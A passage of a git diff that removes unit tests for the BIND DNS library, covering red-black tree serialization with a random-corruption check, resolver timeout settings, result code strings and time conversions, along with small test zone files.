-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
diff --git a/lib/dns/tests/rbt_serialize_test.c b/lib/dns/tests/rbt_serialize_test.c
deleted file mode 100644
index 71cc2903a6..0000000000
--- a/lib/dns/tests/rbt_serialize_test.c
+++ /dev/null
@@ -1,487 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#if HAVE_CMOCKA
-
-#include <fcntl.h>
-#include <inttypes.h>
-#include <sched.h> /* IWYU pragma: keep */
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stddef.h>
-#include <stdlib.h>
-#include <sys/mman.h>
-#include <unistd.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/app.h>
-#include <isc/buffer.h>
-#include <isc/commandline.h>
-#include <isc/file.h>
-#include <isc/hash.h>
-#include <isc/mem.h>
-#include <isc/os.h>
-#include <isc/print.h>
-#include <isc/random.h>
-#include <isc/socket.h>
-#include <isc/stdio.h>
-#include <isc/string.h>
-#include <isc/task.h>
-#include <isc/timer.h>
-#include <isc/util.h>
-
-#include <dns/compress.h>
-#include <dns/fixedname.h>
-#include <dns/log.h>
-#include <dns/name.h>
-#include <dns/rbt.h>
-#include <dns/result.h>
-
-#include <dst/dst.h>
-
-#include "dnstest.h"
-
-#ifndef MAP_FILE
-#define MAP_FILE 0
-#endif /* ifndef MAP_FILE */
-
-/* Set to true (or use -v option) for verbose output */
-static bool verbose = false;
-
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = dns_test_begin(NULL, false);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	dns_test_end();
-
-	return (0);
-}
-
-typedef struct data_holder {
-	int len;
-	const char *data;
-} data_holder_t;
-
-typedef struct rbt_testdata {
-	const char *name;
-	size_t name_len;
-	data_holder_t data;
-} rbt_testdata_t;
-
-#define DATA_ITEM(name)                                            \
-	{                                                          \
-		(name), sizeof(name) - 1, { sizeof(name), (name) } \
-	}
-
-rbt_testdata_t testdata[] = { DATA_ITEM("first.com."),
-			      DATA_ITEM("one.net."),
-			      DATA_ITEM("two.com."),
-			      DATA_ITEM("three.org."),
-			      DATA_ITEM("asdf.com."),
-			      DATA_ITEM("ghjkl.com."),
-			      DATA_ITEM("1.edu."),
-			      DATA_ITEM("2.edu."),
-			      DATA_ITEM("3.edu."),
-			      DATA_ITEM("123.edu."),
-			      DATA_ITEM("1236.com."),
-			      DATA_ITEM("and_so_forth.com."),
-			      DATA_ITEM("thisisalongname.com."),
-			      DATA_ITEM("a.b."),
-			      DATA_ITEM("test.net."),
-			      DATA_ITEM("whoknows.org."),
-			      DATA_ITEM("blargh.com."),
-			      DATA_ITEM("www.joe.com."),
-			      DATA_ITEM("test.com."),
-			      DATA_ITEM("isc.org."),
-			      DATA_ITEM("uiop.mil."),
-			      DATA_ITEM("last.fm."),
-			      { NULL, 0, { 0, NULL } } };
-
-static void
-delete_data(void *data, void *arg) {
-	UNUSED(arg);
-	UNUSED(data);
-}
-
-static isc_result_t
-write_data(FILE *file, unsigned char *datap, void *arg, uint64_t *crc) {
-	isc_result_t result;
-	size_t ret = 0;
-	data_holder_t *data;
-	data_holder_t temp;
-	off_t where;
-
-	UNUSED(arg);
-
-	REQUIRE(file != NULL);
-	REQUIRE(crc != NULL);
-	REQUIRE(datap != NULL);
-	data = (data_holder_t *)datap;
-	REQUIRE((data->len == 0 && data->data == NULL) ||
-		(data->len != 0 && data->data != NULL));
-
-	result = isc_stdio_tell(file, &where);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-
-	temp = *data;
-	temp.data = (data->len == 0 ? NULL
-				    : (char *)((uintptr_t)where +
-					       sizeof(data_holder_t)));
-
-	isc_crc64_update(crc, (void *)&temp, sizeof(temp));
-	ret = fwrite(&temp, sizeof(data_holder_t), 1, file);
-	if (ret != 1) {
-		return (ISC_R_FAILURE);
-	}
-	if (data->len > 0) {
-		isc_crc64_update(crc, (const void *)data->data, data->len);
-		ret = fwrite(data->data, data->len, 1, file);
-		if (ret != 1) {
-			return (ISC_R_FAILURE);
-		}
-	}
-
-	return (ISC_R_SUCCESS);
-}
-
-static isc_result_t
-fix_data(dns_rbtnode_t *p, void *base, size_t max, void *arg, uint64_t *crc) {
-	data_holder_t *data;
-	size_t size;
-
-	UNUSED(base);
-	UNUSED(max);
-	UNUSED(arg);
-
-	REQUIRE(crc != NULL);
-	REQUIRE(p != NULL);
-
-	data = p->data;
-
-	if (data == NULL || (data->len == 0 && data->data != NULL) ||
-	    (data->len != 0 && data->data == NULL))
-	{
-		return (ISC_R_INVALIDFILE);
-	}
-
-	size = max - ((char *)p - (char *)base);
-
-	if (data->len > (int)size || data->data > (const char *)max) {
-		return (ISC_R_INVALIDFILE);
-	}
-
-	isc_crc64_update(crc, (void *)data, sizeof(*data));
-
-	data->data = NULL;
-	if (data->len != 0) {
-		data->data = (char *)data + sizeof(data_holder_t);
-	}
-
-	if (data->len > 0) {
-		isc_crc64_update(crc, (const void *)data->data, data->len);
-	}
-
-	return (ISC_R_SUCCESS);
-}
-
-/*
- * Load test data into the RBT.
- */
-static void
-add_test_data(isc_mem_t *mctx, dns_rbt_t *rbt) {
-	char buffer[1024];
-	isc_buffer_t b;
-	isc_result_t result;
-	dns_fixedname_t fname;
-	dns_name_t *name;
-	dns_compress_t cctx;
-	rbt_testdata_t *testdatap = testdata;
-
-	dns_compress_init(&cctx, -1, mctx);
-
-	while (testdatap->name != NULL && testdatap->data.data != NULL) {
-		memmove(buffer, testdatap->name, testdatap->name_len);
-
-		isc_buffer_init(&b, buffer, testdatap->name_len);
-		isc_buffer_add(&b, testdatap->name_len);
-		name = dns_fixedname_initname(&fname);
-		result = dns_name_fromtext(name, &b, dns_rootname, 0, NULL);
-		if (result != ISC_R_SUCCESS) {
-			testdatap++;
-			continue;
-		}
-
-		if (name != NULL) {
-			result = dns_rbt_addname(rbt, name, &testdatap->data);
-			assert_int_equal(result, ISC_R_SUCCESS);
-		}
-		testdatap++;
-	}
-
-	dns_compress_invalidate(&cctx);
-}
-
-/*
- * Walk the tree and ensure that all the test nodes are present.
- */
-static void
-check_test_data(dns_rbt_t *rbt) {
-	char buffer[1024];
-	char *arg;
-	dns_fixedname_t fname;
-	dns_fixedname_t fixed;
-	dns_name_t *name;
-	isc_buffer_t b;
-	data_holder_t *data;
-	isc_result_t result;
-	dns_name_t *foundname;
-	rbt_testdata_t *testdatap = testdata;
-
-	foundname = dns_fixedname_initname(&fixed);
-
-	while (testdatap->name != NULL && testdatap->data.data != NULL) {
-		memmove(buffer, testdatap->name, testdatap->name_len + 1);
-		arg = buffer;
-
-		isc_buffer_init(&b, arg, testdatap->name_len);
-		isc_buffer_add(&b, testdatap->name_len);
-		name = dns_fixedname_initname(&fname);
-		result = dns_name_fromtext(name, &b, dns_rootname, 0, NULL);
-		if (result != ISC_R_SUCCESS) {
-			testdatap++;
-			continue;
-		}
-
-		data = NULL;
-		result = dns_rbt_findname(rbt, name, 0, foundname,
-					  (void *)&data);
-		assert_int_equal(result, ISC_R_SUCCESS);
-
-		testdatap++;
-	}
-}
-
-static void
-data_printer(FILE *out, void *datap) {
-	data_holder_t *data = (data_holder_t *)datap;
-
-	fprintf(out, "%d bytes, %s", data->len, data->data);
-}
-
-/* Test writing an rbt to file */
-static void
-serialize_test(void **state) {
-	dns_rbt_t *rbt = NULL;
-	isc_result_t result;
-	FILE *rbtfile = NULL;
-	dns_rbt_t *rbt_deserialized = NULL;
-	off_t offset;
-	int fd;
-	off_t filesize = 0;
-	char *base;
-
-	UNUSED(state);
-
-	isc_mem_debugging = ISC_MEM_DEBUGRECORD;
-
-	result = dns_rbt_create(dt_mctx, delete_data, NULL, &rbt);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	add_test_data(dt_mctx, rbt);
-
-	if (verbose) {
-		dns_rbt_printtext(rbt, data_printer, stdout);
-	}
-
-	/*
-	 * Serialize the tree.
-	 */
-	rbtfile = fopen("./zone.bin", "w+b");
-	assert_non_null(rbtfile);
-	result = dns_rbt_serialize_tree(rbtfile, rbt, write_data, NULL,
-					&offset);
-	assert_true(result == ISC_R_SUCCESS);
-	dns_rbt_destroy(&rbt);
-
-	/*
-	 * Deserialize the tree.
-	 * Map in the whole file in one go
-	 */
-	fd = open("zone.bin", O_RDWR);
-	assert_int_not_equal(fd, -1);
-	isc_file_getsizefd(fd, &filesize);
-	base = mmap(NULL, filesize, PROT_READ | PROT_WRITE,
-		    MAP_FILE | MAP_PRIVATE, fd, 0);
-	assert_true(base != NULL && base != MAP_FAILED);
-	close(fd);
-
-	result = dns_rbt_deserialize_tree(base, filesize, 0, dt_mctx,
-					  delete_data, NULL, fix_data, NULL,
-					  NULL, &rbt_deserialized);
-
-	/* Test to make sure we have a valid tree */
-	assert_true(result == ISC_R_SUCCESS);
-	if (rbt_deserialized == NULL) {
-		fail_msg("deserialized rbt is null!"); /* Abort execution. */
-	}
-
-	check_test_data(rbt_deserialized);
-
-	if (verbose) {
-		dns_rbt_printtext(rbt_deserialized, data_printer, stdout);
-	}
-
-	dns_rbt_destroy(&rbt_deserialized);
-	munmap(base, filesize);
-	unlink("zone.bin");
-}
-
-/* Test reading a corrupt map file */
-static void
-deserialize_corrupt_test(void **state) {
-	dns_rbt_t *rbt = NULL;
-	isc_result_t result;
-	FILE *rbtfile = NULL;
-	off_t offset;
-	int fd;
-	off_t filesize = 0;
-	char *base, *p, *q;
-	int i;
-
-	UNUSED(state);
-
-	isc_mem_debugging = ISC_MEM_DEBUGRECORD;
-
-	/* Set up map file */
-	result = dns_rbt_create(dt_mctx, delete_data, NULL, &rbt);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	add_test_data(dt_mctx, rbt);
-	rbtfile = fopen("./zone.bin", "w+b");
-	assert_non_null(rbtfile);
-	result = dns_rbt_serialize_tree(rbtfile, rbt, write_data, NULL,
-					&offset);
-	assert_true(result == ISC_R_SUCCESS);
-	dns_rbt_destroy(&rbt);
-
-	/* Read back with random fuzzing */
-	for (i = 0; i < 256; i++) {
-		dns_rbt_t *rbt_deserialized = NULL;
-
-		fd = open("zone.bin", O_RDWR);
-		assert_int_not_equal(fd, -1);
-		isc_file_getsizefd(fd, &filesize);
-		base = mmap(NULL, filesize, PROT_READ | PROT_WRITE,
-			    MAP_FILE | MAP_PRIVATE, fd, 0);
-		assert_true(base != NULL && base != MAP_FAILED);
-		close(fd);
-
-		/* Randomly fuzz a portion of the memory */
-		/* cppcheck-suppress nullPointerArithmeticRedundantCheck */
-		p = base + (isc_random_uniform(filesize));
-		/* cppcheck-suppress nullPointerArithmeticRedundantCheck */
-		q = base + filesize;
-		q -= (isc_random_uniform(q - p));
-		while (p++ < q) {
-			*p = isc_random8();
-		}
-
-		result = dns_rbt_deserialize_tree(
-			base, filesize, 0, dt_mctx, delete_data, NULL, fix_data,
-			NULL, NULL, &rbt_deserialized);
-
-		/* Test to make sure we have a valid tree */
-		assert_true(result == ISC_R_SUCCESS ||
-			    result == ISC_R_INVALIDFILE);
-		if (result != ISC_R_SUCCESS) {
-			assert_null(rbt_deserialized);
-		}
-
-		if (rbt_deserialized != NULL) {
-			dns_rbt_destroy(&rbt_deserialized);
-		}
-
-		munmap(base, filesize);
-	}
-
-	unlink("zone.bin");
-}
-
-/* Test the dns_rbt_serialize_align() function */
-static void
-serialize_align_test(void **state) {
-	UNUSED(state);
-
-	assert_true(dns_rbt_serialize_align(0) == 0);
-	assert_true(dns_rbt_serialize_align(1) == 8);
-	assert_true(dns_rbt_serialize_align(2) == 8);
-	assert_true(dns_rbt_serialize_align(3) == 8);
-	assert_true(dns_rbt_serialize_align(4) == 8);
-	assert_true(dns_rbt_serialize_align(5) == 8);
-	assert_true(dns_rbt_serialize_align(6) == 8);
-	assert_true(dns_rbt_serialize_align(7) == 8);
-	assert_true(dns_rbt_serialize_align(8) == 8);
-	assert_true(dns_rbt_serialize_align(9) == 16);
-	assert_true(dns_rbt_serialize_align(0xff) == 0x100);
-	assert_true(dns_rbt_serialize_align(0x301) == 0x308);
-}
-
-int
-main(int argc, char **argv) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test_setup_teardown(serialize_test, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(deserialize_corrupt_test,
-						_setup, _teardown),
-		cmocka_unit_test(serialize_align_test),
-	};
-	int c;
-
-	while ((c = isc_commandline_parse(argc, argv, "v")) != -1) {
-		switch (c) {
-		case 'v':
-			verbose = true;
-			break;
-		default:
-			break;
-		}
-	}
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
diff --git a/lib/dns/tests/resolver_test.c b/lib/dns/tests/resolver_test.c
deleted file mode 100644
index 66f7c96b83..0000000000
--- a/lib/dns/tests/resolver_test.c
+++ /dev/null
@@ -1,226 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#if HAVE_CMOCKA
-
-#include <sched.h> /* IWYU pragma: keep */
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stddef.h>
-#include <stdlib.h>
-#include <unistd.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/app.h>
-#include <isc/buffer.h>
-#include <isc/print.h>
-#include <isc/socket.h>
-#include <isc/task.h>
-#include <isc/timer.h>
-#include <isc/util.h>
-
-#include <dns/dispatch.h>
-#include <dns/name.h>
-#include <dns/resolver.h>
-#include <dns/view.h>
-
-#include "dnstest.h"
-
-static dns_dispatchmgr_t *dispatchmgr = NULL;
-static dns_dispatch_t *dispatch = NULL;
-static dns_view_t *view = NULL;
-
-static int
-_setup(void **state) {
-	isc_result_t result;
-	isc_sockaddr_t local;
-
-	UNUSED(state);
-
-	result = dns_test_begin(NULL, true);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dns_dispatchmgr_create(dt_mctx, &dispatchmgr);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dns_test_makeview("view", &view);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	isc_sockaddr_any(&local);
-	result = dns_dispatch_getudp(dispatchmgr, socketmgr, taskmgr, &local,
-				     4096, 100, 100, 100, 500, 0, 0, &dispatch);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	dns_dispatch_detach(&dispatch);
-	dns_view_detach(&view);
-	dns_dispatchmgr_destroy(&dispatchmgr);
-	dns_test_end();
-
-	return (0);
-}
-
-static void
-mkres(dns_resolver_t **resolverp) {
-	isc_result_t result;
-
-	result = dns_resolver_create(view, taskmgr, 1, 1, socketmgr, timermgr,
-				     0, dispatchmgr, dispatch, NULL, resolverp);
-	assert_int_equal(result, ISC_R_SUCCESS);
-}
-
-static void
-destroy_resolver(dns_resolver_t **resolverp) {
-	dns_resolver_shutdown(*resolverp);
-	dns_resolver_detach(resolverp);
-}
-
-/* dns_resolver_create */
-static void
-create_test(void **state) {
-	dns_resolver_t *resolver = NULL;
-
-	UNUSED(state);
-
-	mkres(&resolver);
-	destroy_resolver(&resolver);
-}
-
-/* dns_resolver_gettimeout */
-static void
-gettimeout_test(void **state) {
-	dns_resolver_t *resolver = NULL;
-	unsigned int timeout;
-
-	UNUSED(state);
-
-	mkres(&resolver);
-
-	timeout = dns_resolver_gettimeout(resolver);
-	assert_true(timeout > 0);
-
-	destroy_resolver(&resolver);
-}
-
-/* dns_resolver_settimeout */
-static void
-settimeout_test(void **state) {
-	dns_resolver_t *resolver = NULL;
-	unsigned int default_timeout, timeout;
-
-	UNUSED(state);
-
-	mkres(&resolver);
-
-	default_timeout = dns_resolver_gettimeout(resolver);
-	dns_resolver_settimeout(resolver, default_timeout + 1);
-	timeout = dns_resolver_gettimeout(resolver);
-	assert_true(timeout == default_timeout + 1);
-
-	destroy_resolver(&resolver);
-}
-
-/* dns_resolver_settimeout */
-static void
-settimeout_default_test(void **state) {
-	dns_resolver_t *resolver = NULL;
-	unsigned int default_timeout, timeout;
-
-	UNUSED(state);
-
-	mkres(&resolver);
-
-	default_timeout = dns_resolver_gettimeout(resolver);
-	dns_resolver_settimeout(resolver, default_timeout + 100);
-
-	timeout = dns_resolver_gettimeout(resolver);
-	assert_int_equal(timeout, default_timeout + 100);
-
-	dns_resolver_settimeout(resolver, 0);
-	timeout = dns_resolver_gettimeout(resolver);
-	assert_int_equal(timeout, default_timeout);
-
-	destroy_resolver(&resolver);
-}
-
-/* dns_resolver_settimeout below minimum */
-static void
-settimeout_belowmin_test(void **state) {
-	dns_resolver_t *resolver = NULL;
-	unsigned int default_timeout, timeout;
-
-	UNUSED(state);
-
-	mkres(&resolver);
-
-	default_timeout = dns_resolver_gettimeout(resolver);
-	dns_resolver_settimeout(resolver, 9000);
-
-	timeout = dns_resolver_gettimeout(resolver);
-	assert_int_equal(timeout, default_timeout);
-
-	destroy_resolver(&resolver);
-}
-
-/* dns_resolver_settimeout over maximum */
-static void
-settimeout_overmax_test(void **state) {
-	dns_resolver_t *resolver = NULL;
-	unsigned int timeout;
-
-	UNUSED(state);
-
-	mkres(&resolver);
-
-	dns_resolver_settimeout(resolver, 4000000);
-	timeout = dns_resolver_gettimeout(resolver);
-	assert_in_range(timeout, 0, 3999999);
-	destroy_resolver(&resolver);
-}
-
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test_setup_teardown(create_test, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(gettimeout_test, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(settimeout_test, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(settimeout_default_test, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(settimeout_belowmin_test,
-						_setup, _teardown),
-		cmocka_unit_test_setup_teardown(settimeout_overmax_test, _setup,
-						_teardown),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
diff --git a/lib/dns/tests/result_test.c b/lib/dns/tests/result_test.c
deleted file mode 100644
index b21828cbe5..0000000000
--- a/lib/dns/tests/result_test.c
+++ /dev/null
@@ -1,131 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#if HAVE_CMOCKA
-
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stddef.h>
-#include <stdlib.h>
-#include <string.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/result.h>
-#include <isc/util.h>
-
-#include <dns/lib.h>
-#include <dns/result.h>
-
-#include <dst/result.h>
-
-/*
- * Check ids array is populated.
- */
-static void
-ids(void **state) {
-	const char *str;
-	isc_result_t result;
-
-	UNUSED(state);
-
-	dns_result_register();
-	dst_result_register();
-
-	for (result = ISC_RESULTCLASS_DNS;
-	     result < (ISC_RESULTCLASS_DNS + DNS_R_NRESULTS); result++)
-	{
-		str = isc_result_toid(result);
-		assert_non_null(str);
-		assert_string_not_equal(str, "(result code text not "
-					     "available)");
-
-		str = isc_result_totext(result);
-		assert_non_null(str);
-		assert_string_not_equal(str, "(result code text not "
-					     "available)");
-	}
-
-	str = isc_result_toid(result);
-	assert_non_null(str);
-	assert_string_equal(str, "(result code text not available)");
-
-	str = isc_result_totext(result);
-	assert_non_null(str);
-	assert_string_equal(str, "(result code text not available)");
-
-	for (result = ISC_RESULTCLASS_DST;
-	     result < (ISC_RESULTCLASS_DST + DST_R_NRESULTS); result++)
-	{
-		str = isc_result_toid(result);
-		assert_non_null(str);
-		assert_string_not_equal(str, "(result code text not "
-					     "available)");
-
-		str = isc_result_totext(result);
-		assert_non_null(str);
-		assert_string_not_equal(str, "(result code text not "
-					     "available)");
-	}
-
-	str = isc_result_toid(result);
-	assert_non_null(str);
-	assert_string_equal(str, "(result code text not available)");
-
-	str = isc_result_totext(result);
-	assert_non_null(str);
-	assert_string_equal(str, "(result code text not available)");
-
-	for (result = ISC_RESULTCLASS_DNSRCODE;
-	     result < (ISC_RESULTCLASS_DNSRCODE + DNS_R_NRCODERESULTS);
-	     result++)
-	{
-		str = isc_result_toid(result);
-		assert_non_null(str);
-		assert_string_not_equal(str, "(result code text not "
-					     "available)");
-
-		str = isc_result_totext(result);
-		assert_non_null(str);
-		assert_string_not_equal(str, "(result code text not "
-					     "available)");
-	}
-
-	str = isc_result_toid(result);
-	assert_non_null(str);
-	assert_string_equal(str, "(result code text not available)");
-
-	str = isc_result_totext(result);
-	assert_non_null(str);
-	assert_string_equal(str, "(result code text not available)");
-}
-
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test(ids),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
diff --git a/lib/dns/tests/testdata/db/data.db b/lib/dns/tests/testdata/db/data.db
deleted file mode 100644
index 9ac043eb2f..0000000000
--- a/lib/dns/tests/testdata/db/data.db
+++ /dev/null
@@ -1,20 +0,0 @@
-; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-;
-; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
-;
-; See the COPYRIGHT file distributed with this work for additional
-; information regarding copyright ownership.
-
-$TTL 1000
-@		in	soa	localhost. postmaster.localhost. (
-				1993050801	;serial
-				3600		;refresh
-				1800		;retry
-				604800		;expiration
-				3600 )		;minimum
-a		in	ns	ns.vix.com.
-a		in	ns	ns2.vix.com.
-a		in	ns	ns3.vix.com.
-b		in	a	1.2.3.4
diff --git a/lib/dns/tests/testdata/dbiterator/zone1.data b/lib/dns/tests/testdata/dbiterator/zone1.data
deleted file mode 100644
index 81c0abec6e..0000000000
--- a/lib/dns/tests/testdata/dbiterator/zone1.data
+++ /dev/null
@@ -1,30 +0,0 @@
-; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-;
-; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
-;
-; See the COPYRIGHT file distributed with this work for additional
-; information regarding copyright ownership.
-
-$TTL 600
-@		in	soa	localhost. postmaster.localhost. (
-				2011080901	;serial
-				3600		;refresh
-				1800		;retry
-				604800		;expiration
-				600 )		;minimum
- 		in	ns	ns
- 		in	ns	ns2
-ns		in	a	10.0.0.1
-ns2		in	a	10.0.0.2
-
-a		in	txt	"test"
-b		in	txt	"test"
-c		in	txt	"test"
-d.e.f		in	txt	"test"
-e		in	txt	"test"
-f.g.h		in	txt	"test"
-f.g.i		in	txt	"test"
-f.g.j		in	txt	"test"
-k		in	txt	"test"
diff --git a/lib/dns/tests/testdata/diff/zone1.data b/lib/dns/tests/testdata/diff/zone1.data
deleted file mode 100644
index 6eb87abc7e..0000000000
--- a/lib/dns/tests/testdata/diff/zone1.data
+++ /dev/null
@@ -1,13 +0,0 @@
-; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-;
-; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
-;
-; See the COPYRIGHT file distributed with this work for additional
-; information regarding copyright ownership.
-
-@ 	0	SOA . . 0 0 0 0 0
-@	0	NS @
-@	0	A 1.2.3.4
-remove	0	A 5.6.7.8
diff --git a/lib/dns/tests/testdata/master/.gitignore b/lib/dns/tests/testdata/master/.gitignore
deleted file mode 100644
index 384d54f7a2..0000000000
--- a/lib/dns/tests/testdata/master/.gitignore
+++ /dev/null
@@ -1,3 +0,0 @@
-master12.data
-master13.data
-master14.data
diff --git a/lib/dns/tests/testdata/master/master18.data b/lib/dns/tests/testdata/master/master18.data
deleted file mode 100644
index dddf04e3bf..0000000000
--- a/lib/dns/tests/testdata/master/master18.data
+++ /dev/null
@@ -1,10 +0,0 @@
-$TTL 1000
-@		in	soa	localhost. postmaster.localhost. (
-				1993050801	;serial
-				3600		;refresh
-				1800		;retry
-				604800		;expiration
-				3600 )		;minimum
-
-$INCLUDE "testkeys/Kexample.+008+20386.key";
-$INCLUDE "testkeys/Kexample.+008+37464.key";
diff --git a/lib/dns/tests/testdata/zt/zone1.db b/lib/dns/tests/testdata/zt/zone1.db
deleted file mode 100644
index 8286d8833e..0000000000
--- a/lib/dns/tests/testdata/zt/zone1.db
+++ /dev/null
@@ -1,20 +0,0 @@
-; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-;
-; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
-;
-; See the COPYRIGHT file distributed with this work for additional
-; information regarding copyright ownership.
-
-$TTL 1000
-@		in	soa	localhost. postmaster.localhost. (
-				1993050801	;serial
-				3600		;refresh
-				1800		;retry
-				604800		;expiration
-				3600 )		;minimum
-		in	ns	ns.vix.com.
-		in	ns	ns2.vix.com.
-		in	ns	ns3.vix.com.
-a		in	a	1.2.3.4
diff --git a/lib/dns/tests/time_test.c b/lib/dns/tests/time_test.c
deleted file mode 100644
index 3dc636b63b..0000000000
--- a/lib/dns/tests/time_test.c
+++ /dev/null
@@ -1,216 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#if HAVE_CMOCKA
-
-#include <inttypes.h>
-#include <sched.h> /* IWYU pragma: keep */
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stddef.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/util.h>
-
-#include <dns/time.h>
-
-#include "dnstest.h"
-
-#define TEST_ORIGIN "test"
-
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = dns_test_begin(NULL, false);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	dns_test_end();
-
-	return (0);
-}
-
-/* value = 0xfffffffff <-> 19691231235959 */
-static void
-epoch_minus_one_test(void **state) {
-	const char *test_text = "19691231235959";
-	const uint32_t test_time = 0xffffffff;
-	isc_result_t result;
-	isc_buffer_t target;
-	uint32_t when;
-	char buf[128];
-
-	UNUSED(state);
-
-	memset(buf, 0, sizeof(buf));
-	isc_buffer_init(&target, buf, sizeof(buf));
-	result = dns_time32_totext(test_time, &target);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_string_equal(buf, test_text);
-	result = dns_time32_fromtext(test_text, &when);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_int_equal(when, test_time);
-}
-
-/* value = 0x000000000 <-> 19700101000000*/
-static void
-epoch_test(void **state) {
-	const char *test_text = "19700101000000";
-	const uint32_t test_time = 0x00000000;
-	isc_result_t result;
-	isc_buffer_t target;
-	uint32_t when;
-	char buf[128];
-
-	UNUSED(state);
-
-	memset(buf, 0, sizeof(buf));
-	isc_buffer_init(&target, buf, sizeof(buf));
-	result = dns_time32_totext(test_time, &target);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_string_equal(buf, test_text);
-	result = dns_time32_fromtext(test_text, &when);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_int_equal(when, test_time);
-}
-
-/* value = 0x7fffffff <-> 20380119031407 */
-static void
-half_maxint_test(void **state) {
-	const char *test_text = "20380119031407";
-	const uint32_t test_time = 0x7fffffff;
-	isc_result_t result;
-	isc_buffer_t target;
-	uint32_t when;
-	char buf[128];
-
-	UNUSED(state);
-
-	memset(buf, 0, sizeof(buf));
-	isc_buffer_init(&target, buf, sizeof(buf));
-	result = dns_time32_totext(test_time, &target);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_string_equal(buf, test_text);
-	result = dns_time32_fromtext(test_text, &when);
